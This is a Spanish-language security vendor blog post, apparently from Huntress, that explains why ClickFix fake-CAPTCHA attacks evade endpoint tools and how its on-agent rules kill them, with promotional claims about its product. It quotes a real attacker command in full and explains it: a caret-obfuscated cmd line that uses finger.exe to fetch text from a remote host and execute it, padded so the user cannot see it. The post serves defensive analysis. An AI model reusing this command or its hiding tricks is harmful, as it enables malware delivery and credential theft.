Si estás leyendo esto, probablemente no necesites una explicación básica de ClickFix. Ya viste la prueba CAPTCHA falsa. Sabes que un usuario va a presionar Windows+R y pegar algo tarde o temprano. Puede que ya hayas recibido la llamada.
La pregunta que realmente te haces es más difícil: ¿por qué las herramientas que ya pagas no detuvieron el ataque? ¿Qué funcionará de verdad?
Es una pregunta válida, y la respuesta es incómoda. ClickFix no vence a la seguridad de endpoints por ser sofisticado. La vence porque no activa ninguna de las condiciones sobre las que se construye la seguridad de endpoints.
El problema estructural: normalmente no hay nada que bloquear
Casi todos los controles de endpoints del mercado, ya sea un antivirus basado en firmas, un antivirus de nueva generación o la mayoría de los EDR, se basan en una suposición compartida. Algo llega. Un documento con macros, un binario sin firmar en la carpeta temporal, un adjunto malicioso, un exploit contra un servicio sin parchear. Hay un artefacto, y el trabajo consiste en detenerlo en el camino.
ClickFix no siempre te da ese artefacto.
La víctima llega a una página que le pide demostrar que es humana. Presiona Windows+R. Pega un comando que le entregaron. Presiona Enter. Ese es todo el mecanismo de entrega. Por lo general, no hay dropper. No hay adjunto. No hay exploit. No hay archivo en disco para calcular su hash, escanearlo o ponerlo en cuarentena.
Desde la perspectiva del endpoint, un usuario que ejecuta un programa es lo más ordinario que hace en todo el día.
Por eso la falla es un problema de categoría, no de proveedor. Si tus criterios de evaluación se basan en la detonación, la reputación de archivos o el análisis de artefactos, ClickFix no es un vacío en tu cobertura; está completamente fuera del modelo de cobertura.
Una comprobación útil: pregúntale a quien sea que le pagas actualmente qué detectan exactamente cuando no hay un archivo. Si la respuesta termina en "detectaríamos la segunda etapa", ya sabes lo que eso cuesta.
Porque sí vas a detectar la segunda etapa. Esa es la segunda mitad del problema.
Detectarlo no es el problema. Detectarlo a tiempo sí lo es.
La detección basada en telemetría de backend funciona. La nuestra funciona: las alertas de nuestro equipo de ingeniería de detección se activan de forma confiable con ClickFix. Pero se activan después, tras la ejecución. La telemetría se envía, se indexa, se correlaciona, genera una alerta, y un analista la recibe.
Las cadenas de ClickFix avanzan de la etapa uno a la dos y a la tres en meros segundos.
Así que, para cuando cualquier sistema posterior emite un veredicto, la cuna (las pocas líneas de script cuyo único trabajo es obtener el payload real y ejecutarlo) ya tuvo su oportunidad de descargar el payload. El infostealer ya se ejecutó. Las credenciales ya se perdieron. El RMM no autorizado ya está instalado. Tu analista o proveedor de seguridad no está interviniendo en un ataque. Está haciendo respuesta a incidentes sobre uno que ya terminó.
Esa brecha entre "lo detectamos" y "lo detuvimos" es todo el juego con esta técnica, y es lo que la mayoría de las evaluaciones nunca llega a probar.
Qué detiene a ClickFix
De lo anterior se desprenden tres requisitos. Vale la pena aplicarlos a cualquier proveedor que estés evaluando, incluidos nosotros.
1. Tiene que coincidir con la forma, no con el artefacto. Si no hay archivo, lo único que queda por detectar es el comando en sí: su estructura, su ofuscación, su contexto. Eso significa coincidencia de comportamiento en líneas de comandos y relaciones entre procesos, no reputación ni detonación.
2. La decisión tiene que tomarse en el endpoint, en milisegundos. Cualquier arquitectura que requiera un viaje de ida y vuelta a un backend ya perdió frente a una cadena que se completa en segundos (si tienes suerte). Esto es una limitación arquitectónica, no un problema de ajustes; no puedes configurar tu salida de la latencia de red.
3. Tiene que ser lo bastante segura como para dejarla activa. Un control lo bastante agresivo como para terminar procesos lanzados por el usuario puede romper la producción. Si no se puede confiar en él en modo de aplicación, es un panel de control, no una defensa. La mayoría de las herramientas que pueden hacer esto lo entregan desactivado, y permanece desactivado.
Ese tercer punto es donde terminan la mayoría de estas conversaciones.
Cómo construimos la nuestra
Empezamos con nuestros propios datos en lugar de suposiciones. Durante una ventana de 60 días, recopilamos todo lo relacionado con ClickFix que pudimos encontrar y creamos un enorme volcado de datos interno, 8.332 elementos en total, y luego examinamos en qué punto de cada cadena de procesos se encontraba realmente el elemento malicioso.
El resultado fue a la vez muy desordenado y, sin embargo, más claro de lo esperado. Prácticamente no había cadenas en las que el proceso de nivel superior estuviera limpio y el comportamiento malicioso solo apareciera dos o tres etapas más abajo. La señal reveladora, ya fuera la cuna IEX/IRM, la invocación ofuscada de LOLBIN o la URL, se encontraba en la raíz de la cadena o inmediatamente adyacente a ella.
Esto importa porque significa que no necesitas una correlación profunda a lo largo de una cadena larga para tomar una decisión con confianza. La evidencia está justo ahí, en el comando que pegó el usuario.
También reveló el cuello de botella. Cuando un usuario presiona Windows+R y ejecuta un comando, el proceso padre siempre es explorer.exe. No usualmente. Siempre. Así es como funciona el cuadro de diálogo Ejecutar. Las variantes de la barra de direcciones del Explorador de archivos se comportan igual, con el navegador como padre.
Entonces la forma de la regla se convirtió en: detectar la línea de comando, y condicionarla al proceso padre.
Esa condición del proceso padre es lo que permite ser agresivo con seguridad. Una cuna de descarga ofuscada es sospechosa en cualquier contexto y, por sí sola, es el tipo de señal que un equipo discute: ¿es un ataque real, un script de administrador o un desarrollador haciendo algo raro? Una cuna de descarga ofuscada generada directamente por el Explorador, en una sesión de usuario interactiva, segundos después de que el usuario estuviera navegando, no tiene explicación inocente. Esa es la diferencia entre una detección que debes investigar antes de poder actuar sobre ella, y una sobre la que puedes actuar automáticamente.
Dónde se ejecuta, y por qué eso es el punto clave
Estas reglas se ejecutan en el motor de Attack Disruption dentro del agente de Huntress EDR: un micromotor ligero en el propio endpoint, que detecta comportamientos en tiempo real.
No espera a que la telemetría llegue a nuestro backend. Cuando una línea de comando coincide, el proceso y su cadena se terminan en menos de un segundo, y se envía una señal acelerada a nuestro SOC disponible 24/7 de manera simultánea.
El orden es lo que lo diferencia de cómo funcionan la mayoría de los servicios administrados: primero ocurre la eliminación, y la revisión humana sucede justo después. El MTTR líder en la industria de nuestro SOC es excelente para la investigación, la delimitación del alcance y la remediación. No es lo bastante rápido para vencer a una cadena que se completa en meros segundos, y ningún SOC lo es. Precisamente por eso esta decisión se trasladó al agente.
Cómo se ve cuando se activa
Attack Disruption estaba ejecutándose en modo de aplicación en la laptop de un solo usuario en una empresa minera y de recursos naturales cuando ocurrió un incidente real. Eliminamos los detalles que identifican a la organización y neutralizamos los dominios. Todo lo demás, incluido el comando del atacante, es textual.
Esto es lo que el usuario pegó en el cuadro de diálogo Ejecutar:
"C:\Windows\system32\cmd.exe" /c s^t^a^r^t "" /min for /f "delims=@" %k in
(',f^^i^^n^^g^^e^^r UNyNQAplRS@f^^i^^n^^g^^e^^r^^.^^linkeders[.]net') do %k & '
----------------P_u_s_h----t_h_e----_E_n_t_e_r_----k_e_y-- '
En esa única línea se apilan tres trucos, y cada uno de ellos vence un control distinto.
El tramo final es ingeniería social. Esa serie de guiones es relleno. El cuadro de diálogo Ejecutar es un solo campo angosto, así que el relleno saca el comando real de la vista y deja al usuario mirando P_u_s_h t_h_e En_t_e_r_ k_e_y. La instrucción que sigue la víctima está dentro del payload que está pegando.
Los acentos circunflejos burlan la coincidencia de cadenas. s^t^a^r^t es start. f^^i^^n^^g^^e^^r es finger. El acento circunflejo es el carácter de escape de cmd, y se descarta al analizar el comando, así que este se ejecuta con normalidad sin coincidir con nada que busque esas palabras. Cualquier control basado en literales solo ve ruido.
Y el payload es un binario de Windows de 1991. Sin la ofuscación, el comando es:
start "" /min for /f "delims=@" %k in ('finger UNyNQAplRS@finger[.]linkeders[.]net') do %k
finger.exe viene incluido en Windows y habla un protocolo más antiguo que la web. Obtiene texto desde un servidor remoto. La construcción for /f captura ese texto y do %k lo ejecuta. Así, la cuna de descarga es un binario firmado de Microsoft, el payload es una cadena de texto y /min oculta la ventana. No hay archivo, ni script, ni curl, ni PowerShell, y nada que un escáner pueda examinar.
Lo que Attack Disruption detectó fue la forma: un comando ofuscado generado directamente por explorer.exe en una sesión interactiva. Eliminó la cadena mientras se construía a sí misma.
18:22:15.719 cmd.exe [24716] el comando pegado, proceso principal explorer.exe eliminado, duró 620 ms
18:22:16.329 cmd.exe [20852] shell /K separado eliminado, duró 625 ms
18:22:16.505 cmd.exe [36488] subshell que invoca la cuna eliminado, duró 465 ms
18:22:16.568 finger.exe [46640] la cuna en sí eliminado, duró 397 ms
18:22:16.970 cadena eliminada
Cuatro procesos, generados y terminados en 1,25 segundos. Cada uno de ellos vivió menos de un segundo.
El cuerpo del bucle nunca se ejecutó. do %k es el paso que ejecuta lo que finger devuelve, y necesita que el shell con PID 20852 siga vivo para ejecutarlo. Ese shell se terminó a las 18:22:16.954. finger.exe no salió hasta las 18:22:16.965, once milisegundos después. Lo que haya llegado por la conexión ya no tenía nada que lo ejecutara.
Luego el usuario lo intentó de nuevo, cinco veces más. Seis pegados entre las 18:07 y las 18:53, el mismo comando cada vez, cada uno eliminado al llegar. Así se ve esta técnica en la práctica: a la persona frente al teclado la convencieron de que necesitaba arreglar algo, y un control que solo advierte es un control que el usuario ignorará. El modo de aplicación es lo que hace que el sexto intento quede tan muerto como el primero.
La señal acelerada llegó a nuestro SOC alrededor de 70 segundos después de la primera eliminación. La cadena ya estaba eliminada antes de que un humano supiera que existía.
El socio recibió un reporte de incidente escrito por el SOC sobre el endpoint: qué se pegó, qué se eliminó y qué revisar a continuación. Nadie de su lado tuvo que notar nada primero.
Figura 1: Ejecución de acceso inicial de ClickFix: Venari Tag detectado en modo de aplicación
Nota: La infraestructura mencionada arriba estaba activa al momento de este incidente y podría seguir estándolo. Trátala como hostil: no la resuelvas, no la visites y no ejecutes ninguna parte de ese comando en ningún lugar que te importe.
Algo que hicimos mal, y corregimos
Algunas variantes de ClickFix envuelven el trabajo real en start, lo que separa el proceso siguiente de su proceso padre. Matábamos al padre, con éxito, y la obtención del payload ya estaba corriendo en una cadena nueva. Técnicamente, una eliminación. En la práctica, un fallo.
Figura 2: La regla activándose en modo Enforce: una cadena de ejecución de ClickFix detectada en cmd.exe y eliminada antes del paso de obtención del payload. Nombre de usuario y SID ocultos.
La solución funciona en la dirección opuesta: una segunda regla que coincide con la línea de comandos del padre y elimina tanto al padre como al hijo. Si el lanzador tiene el indicio revelador, ya no importa cómo se llame el payload, lo que también neutraliza a los ejecutores renombrados aleatoriamente, una técnica de evasión común.
El lanzador está diseñado para cerrarse en cuanto genera su proceso hijo, por lo que normalmente ya desapareció antes de que algo pueda alcanzarlo. Lo que la segunda regla logra detectar de manera confiable es el ejecutor activo un paso más abajo (el "hijo"), el proceso que iba a buscar algo. No logramos hacer que el lanzador fuera eliminable. Dejamos de necesitar que lo fuera.
El conjunto de reglas ha crecido considerablemente desde la v1. Un puñado de reglas amplias se convirtió en un conjunto mucho más grande de subdetecciones de alcance limitado y control independiente, con más todavía en auditoría, recopilando datos. La cobertura ahora se extiende al abuso de homoglifos y Unicode, URIs sin esquema, construcción de comandos en bloques de comentarios y una superficie de LOLBIN mucho más amplia.
Por qué realmente puedes dejarlo activado
El tercer requisito es el que decide si todo esto importa.
Cada regla de Attack Disruption empieza en modo de auditoría. Detecta, da la señal, pero no toma ninguna acción. La ejecutamos contra toda nuestra base de clientes durante semanas y observamos cada evento que habría eliminado. Solo las reglas que superan un estricto umbral de eficacia del 99% de precisión se promueven a modo de aplicación. Nada termina procesos en un endpoint de un socio basándose en una buena idea.
Para ti, eso significa tres cosas:
No escribes ni ajustas estas reglas. Se entregan activadas y gestionadas. Esta compra no implica contratar personal de ingeniería de detección.
El presupuesto de falsos positivos ya está gastado. Huntress mantiene una tasa de falsos positivos a nivel de toda la plataforma por debajo del 1% en más de 5 millones de endpoints protegidos. En este conjunto de reglas en específico, a lo largo de miles de eliminaciones en modo de aplicación, hemos tenido que corregir un puñado de falsos positivos individuales. No un puñado de porcentaje. Un puñado. Y si llegas a encontrarte con uno, el galardonado equipo de soporte de Huntress es la vía de acceso, y la corrección ocurre de nuestro lado.
No es un renglón aparte. Attack Disruption es parte de Managed EDR. El precio de Huntress es un precio único, sin complementos ni niveles de servicio, así que no estás comprando un módulo de ClickFix.
Si eres un MSP, la traducción operativa es más simple: es una categoría de llamada a las 2 a. m. que termina antes de que suene el teléfono de alguien, y una reinstalación que no tienes que explicarle a un cliente.
Lo que esto no hace
Los ataques de ClickFix son un objetivo cambiante, y preferimos que encuentres los límites aquí y no en una prueba de concepto.
Esto es disrupción, no prevención. No evitamos que el usuario ejecute el comando. Ese es un problema de hardening, y le corresponde a Managed ESPM. Si un proveedor te dice que ha prevenido ClickFix por completo, pregúntale qué hace cuando un usuario pega algo en una terminal a la que tiene acceso legítimo.
Esto es Windows. El cuadro de diálogo Ejecutar, cmd.exe y la superficie de LOLBin que se describe aquí son todos de Windows, y también lo son estas reglas. La ingeniería social basada en pegar texto también ocurre en otras plataformas, así que pregúntanos por la cobertura ahí en lugar de asumir que se traslada automáticamente.
Algunas cosas siguen pasando. Los atacantes rotan LOLBins, cambian la ofuscación e inventan variantes: FileFix, TerminalFix, DownloadFix y lo que sea que llegue el próximo trimestre. Cada forma nueva toma tiempo aprender. Cualquiera que afirme tener cobertura total de esta técnica te está vendiendo algo sin contarte toda la verdad. Huntress no dice ser perfecto, y sabemos que se nos escaparán variaciones de estos ataques, pero te prometemos que, cuando llegue el momento, estaremos enfocados, a fondo, investigando la cadena de ataque y mejorando nuestras herramientas, para que tú no tengas que hacerlo.
Y cuando la eliminación del lado del agente pierde la carrera contra el tiempo, las detecciones del backend igual se activan. La misma cadena que superó la terminación activa nuestras reglas en el camino, y llega a un analista del SOC como una investigación, no como una eliminación. Más lento de lo que quisiéramos, pero no en silencio.
Pero el punto crítico se mantiene. ClickFix es el acceso inicial, el origen de lo que termine siendo la segunda etapa, ya sea un infostealer, una puerta trasera o un RMM no autorizado. Elimínalo desde la raíz, y nada de lo que viene después ocurrirá. Y los dos mecanismos subyacentes, un comando ofuscado generado por un proceso que no tiene por qué generarlo, son estructurales de la técnica y no incidentales a ninguna campaña en particular.
Lo que significa que, cuando aparezca la próxima variante, no partimos de cero. Agregamos un patrón a una regla que ya está en el lugar correcto.
Compruébalo en tu propio entorno
La forma más rápida de evaluar todo esto es dejar de leer contenido de proveedores y ver qué hace realmente una herramienta cuando se activa una cadena.
Inicia una prueba gratuita: implementa el agente y observa la Disrupción de Ataques en tu entorno
Obtén una demo: recorre con nuestro equipo una cadena de ClickFix real y eliminada
La guía del comprador de EDR: revisa nuestros criterios de evaluación para herramientas de endpoints, incluido el equilibrio entre autogestión y gestión administrada
Para conocer el análisis técnico completo de ClickFix, FileFix, TerminalFix y DownloadFix, incluidos los artefactos del sistema y los puntos críticos de detección de cada uno, consulta el artículo de Tyler Bohlmann "ClickFix Attack: Variants, Detection & How It Works".
